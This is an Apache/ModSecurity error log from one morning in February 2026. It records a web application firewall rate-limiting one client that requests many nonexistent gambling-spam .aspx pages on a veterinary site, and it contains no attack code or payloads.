[Tue Feb 10 09:01:01.544869 2026] [:error] [pid 47837:tid 47902] [client 146.59.46.29:48930] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "aYqDTXFY8KYFPX79Z4kwtgAAAII"]
[Tue Feb 10 09:02:53.016871 2026] [:error] [pid 59544:tid 59561] [client 146.59.46.29:46556] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "aYqDvaZySR9mFY4BailFdwAAAY0"]
[Tue Feb 10 09:02:54.623301 2026] [:error] [pid 59407:tid 59424] [client 146.59.46.29:36232] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/allslot%20wallet.aspx"] [unique_id "aYqDvmLlhBXE3qmX-Jl6twAAAU8"]
[Tue Feb 10 09:02:56.124916 2026] [:error] [pid 47831:tid 47892] [client 146.59.46.29:39388] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20original.aspx"] [unique_id "aYqDwCdxbZYarWVkiACe3AAAAFM"]
[Tue Feb 10 09:02:57.539793 2026] [:error] [pid 59544:tid 59570] [client 146.59.46.29:39398] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/amb%20superslot.aspx"] [unique_id "aYqDwaZySR9mFY4BailFgAAAAZM"]
[Tue Feb 10 09:02:58.989027 2026] [:error] [pid 30054:tid 30070] [client 146.59.46.29:57814] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "aYqDwmecgOOXCu-GgYWWwQAAAQ4"]
[Tue Feb 10 09:02:59.960345 2026] [:error] [pid 30054:tid 30068] [client 146.59.46.29:57824] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "aYqDw2ecgOOXCu-GgYWWwwAAAQw"]
[Tue Feb 10 09:03:01.748983 2026] [:error] [pid 30054:tid 30072] [client 146.59.46.29:57838] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "aYqDxWecgOOXCu-GgYWWyAAAARA"]
[Tue Feb 10 09:03:02.682194 2026] [:error] [pid 30054:tid 30060] [client 146.59.46.29:57840] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/auto%20slot.aspx"] [unique_id "aYqDxmecgOOXCu-GgYWWzwAAAQQ"]
[Tue Feb 10 09:03:04.694191 2026] [:error] [pid 59407:tid 59419] [client 146.59.46.29:57842] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "aYqDyGLlhBXE3qmX-Jl6vwAAAUo"]
[Tue Feb 10 09:03:05.226184 2026] [:error] [pid 30054:tid 30071] [client 146.59.46.29:57848] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "aYqDyWecgOOXCu-GgYWW0wAAAQ8"]
[Tue Feb 10 09:03:07.887332 2026] [:error] [pid 47831:tid 47895] [client 146.59.46.29:57872] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20original.aspx"] [unique_id "aYqDyydxbZYarWVkiACe5QAAAFY"]
[Tue Feb 10 09:03:07.991893 2026] [:error] [pid 47830:tid 47867] [client 146.59.46.29:57864] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "aYqDy0co45BZs8e301CGsAAAABU"]
[Tue Feb 10 09:03:10.448670 2026] [:error] [pid 59407:tid 59431] [client 146.59.46.29:40658] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "aYqDzmLlhBXE3qmX-Jl6wwAAAVY"]
[Tue Feb 10 09:03:10.994359 2026] [:error] [pid 47830:tid 47860] [client 146.59.46.29:40664] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "aYqDzkco45BZs8e301CGtwAAAA4"]
[Tue Feb 10 09:03:13.131357 2026] [:error] [pid 47837:tid 47920] [client 146.59.46.29:40666] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "aYqD0XFY8KYFPX79Z4kxNAAAAJQ"]
[Tue Feb 10 09:03:13.601249 2026] [:error] [pid 47837:tid 47913] [client 146.59.46.29:40668] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "aYqD0XFY8KYFPX79Z4kxNwAAAI0"]
[Tue Feb 10 09:03:15.905947 2026] [:error] [pid 47830:tid 47850] [client 146.59.46.29:40670] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "aYqD00co45BZs8e301CGuQAAAAQ"]
[Tue Feb 10 09:03:16.161025 2026] [:error] [pid 59544:tid 59558] [client 146.59.46.29:40678] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "aYqD1KZySR9mFY4BailFlQAAAYo"]
[Tue Feb 10 09:03:18.582714 2026] [:error] [pid 47837:tid 47914] [client 146.59.46.29:40556] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "aYqD1nFY8KYFPX79Z4kxQAAAAI4"]
[Tue Feb 10 09:03:19.762797 2026] [:error] [pid 47831:tid 47875] [client 146.59.46.29:40562] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "aYqD1ydxbZYarWVkiACe8AAAAEI"]
[Tue Feb 10 09:03:21.280443 2026] [:error] [pid 47837:tid 47904] [client 146.59.46.29:40564] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "aYqD2XFY8KYFPX79Z4kxRAAAAIQ"]
[Tue Feb 10 09:03:22.922241 2026] [:error] [pid 59407:tid 59419] [client 146.59.46.29:40570] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "aYqD2mLlhBXE3qmX-Jl6zwAAAUo"]
[Tue Feb 10 09:03:24.085265 2026] [:error] [pid 59407:tid 59427] [client 146.59.46.29:40580] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "aYqD3GLlhBXE3qmX-Jl60gAAAVI"]
[Tue Feb 10 09:03:26.222228 2026] [:error] [pid 59407:tid 59420] [client 146.59.46.29:40594] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "aYqD3mLlhBXE3qmX-Jl61gAAAUs"]
[Tue Feb 10 09:03:26.800986 2026] [:error] [pid 30054:tid 30060] [client 146.59.46.29:40600] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "aYqD3mecgOOXCu-GgYWXAQAAAQQ"]
[Tue Feb 10 09:03:29.235080 2026] [:error] [pid 30054:tid 30058] [client 146.59.46.29:38794] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "aYqD4WecgOOXCu-GgYWXCAAAAQI"]
[Tue Feb 10 09:03:29.426517 2026] [:error] [pid 47830:tid 47849] [client 146.59.46.29:38796] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "aYqD4Uco45BZs8e301CGyQAAAAM"]
[Tue Feb 10 09:03:31.983169 2026] [:error] [pid 59544:tid 59566] [client 146.59.46.29:38804] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "aYqD46ZySR9mFY4BailFqwAAAZA"]
[Tue Feb 10 09:03:32.326065 2026] [:error] [pid 47937:tid 47939] [client 146.59.46.29:38812] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aYqD5MpqXpC2CvJ3fOPlDgAAAMA"]
[Tue Feb 10 09:03:34.927904 2026] [:error] [pid 47837:tid 47918] [client 146.59.46.29:38818] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aYqD5nFY8KYFPX79Z4kxUAAAAJI"]
[Tue Feb 10 09:03:35.450961 2026] [:error] [pid 47830:tid 47863] [client 146.59.46.29:38822] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "aYqD50co45BZs8e301CG0AAAABE"]
[Tue Feb 10 09:03:37.586752 2026] [:error] [pid 59407:tid 59422] [client 146.59.46.29:38826] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aYqD6WLlhBXE3qmX-Jl64wAAAU0"]
[Tue Feb 10 09:03:38.024812 2026] [:error] [pid 47830:tid 47860] [client 146.59.46.29:38840] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "aYqD6kco45BZs8e301CG1wAAAA4"]
[Tue Feb 10 09:03:40.624985 2026] [:error] [pid 47830:tid 47864] [client 146.59.46.29:50962] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h25%20com.aspx"] [unique_id "aYqD7Eco45BZs8e301CG2gAAABI"]
[Tue Feb 10 09:03:40.944124 2026] [:error] [pid 59407:tid 59419] [client 146.59.46.29:50978] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "aYqD7GLlhBXE3qmX-Jl66AAAAUo"]
[Tue Feb 10 09:03:43.439040 2026] [:error] [pid 59407:tid 59428] [client 146.59.46.29:50986] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jili%20slot.aspx"] [unique_id "aYqD72LlhBXE3qmX-Jl67wAAAVM"]
[Tue Feb 10 09:03:43.539916 2026] [:error] [pid 47937:tid 47962] [client 146.59.46.29:50998] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "aYqD78pqXpC2CvJ3fOPlGAAAANc"]
[Tue Feb 10 09:03:46.234751 2026] [:error] [pid 59407:tid 59425] [client 146.59.46.29:51006] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "aYqD8mLlhBXE3qmX-Jl6-gAAAVA"]
[Tue Feb 10 09:03:46.479834 2026] [:error] [pid 59407:tid 59430] [client 146.59.46.29:51010] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20slot.aspx"] [unique_id "aYqD8mLlhBXE3qmX-Jl6_AAAAVU"]
[Tue Feb 10 09:03:49.017942 2026] [:error] [pid 47830:tid 47860] [client 146.59.46.29:42378] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h25%20com.aspx"] [unique_id "aYqD9Uco45BZs8e301CG3QAAAA4"]
[Tue Feb 10 09:03:49.178878 2026] [:error] [pid 47831:tid 47880] [client 146.59.46.29:42390] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20vip.aspx"] [unique_id "aYqD9SdxbZYarWVkiACfCAAAAEc"]
[Tue Feb 10 09:04:17.165831 2026] [:error] [pid 30054:tid 30079] [client 146.59.46.29:42404] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20betflik.aspx"] [unique_id "aYqEEWecgOOXCu-GgYWXUwAAARc"]
[Tue Feb 10 09:04:17.738751 2026] [:error] [pid 47831:tid 47893] [client 146.59.46.29:42400] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/metal%20slot.aspx"] [unique_id "aYqEESdxbZYarWVkiACfJQAAAFQ"]
[Tue Feb 10 09:04:19.799870 2026] [:error] [pid 47831:tid 47897] [client 146.59.46.29:42944] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "aYqEEydxbZYarWVkiACfKAAAAFg"]
[Tue Feb 10 09:04:20.481945 2026] [:error] [pid 30054:tid 30075] [client 146.59.46.29:42948] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20168.aspx"] [unique_id "aYqEFGecgOOXCu-GgYWXVQAAARM"]
[Tue Feb 10 09:04:22.585281 2026] [:error] [pid 30054:tid 30059] [client 146.59.46.29:42964] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game.aspx"] [unique_id "aYqEFmecgOOXCu-GgYWXWgAAAQM"]
[Tue Feb 10 09:04:23.178051 2026] [:error] [pid 30054:tid 30068] [client 146.59.46.29:42970] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20auto.aspx"] [unique_id "aYqEF2ecgOOXCu-GgYWXXAAAAQw"]
[Tue Feb 10 09:04:25.316963 2026] [:error] [pid 30054:tid 30064] [client 146.59.46.29:42972] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "aYqEGWecgOOXCu-GgYWXXgAAAQg"]
[Tue Feb 10 09:04:25.981894 2026] [:error] [pid 59407:tid 59414] [client 146.59.46.29:42978] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20betflik.aspx"] [unique_id "aYqEGWLlhBXE3qmX-Jl7JAAAAUU"]
[Tue Feb 10 09:04:28.468836 2026] [:error] [pid 30054:tid 30066] [client 146.59.46.29:33226] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker.aspx"] [unique_id "aYqEHGecgOOXCu-GgYWXYQAAAQo"]
[Tue Feb 10 09:04:28.557261 2026] [:error] [pid 47830:tid 47864] [client 146.59.46.29:33238] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "aYqEHEco45BZs8e301CHBgAAABI"]
[Tue Feb 10 09:04:31.145338 2026] [:error] [pid 59407:tid 59424] [client 146.59.46.29:33248] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "aYqEH2LlhBXE3qmX-Jl7JwAAAU8"]
[Tue Feb 10 09:04:31.217125 2026] [:error] [pid 59407:tid 59413] [client 146.59.46.29:33246] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game.aspx"] [unique_id "aYqEH2LlhBXE3qmX-Jl7KAAAAUQ"]
[Tue Feb 10 09:04:33.745057 2026] [:error] [pid 59407:tid 59412] [client 146.59.46.29:33250] [client 146.59.46.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "aYqEIWLlhBXE3qmX-Jl7KgAAAUM"]
